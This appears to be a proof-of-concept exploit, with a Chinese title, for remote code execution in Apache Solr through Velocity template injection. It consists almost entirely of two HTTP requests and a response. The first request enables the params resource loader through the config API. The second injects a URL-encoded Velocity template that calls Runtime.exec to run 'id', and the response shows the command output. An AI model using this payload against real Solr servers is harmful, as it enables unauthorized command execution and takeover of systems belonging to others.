Apache solr模板注入漏洞

``` Apache Solr RCE via Velocity template Set "params.resource.loader.enabled" as true. Request: ======================================================================== POST /solr/test/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } ======================================================================== RCE via velocity template Request: ======================================================================== GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 Host: localhost:8983 ======================================================================== Response: ======================================================================== HTTP/1.1 200 OK Content-Type: text/html;charset=utf-8 Content-Length: 56 0 uid=8983(solr) gid=8983(solr) groups=8983(solr) ======================================================================== ```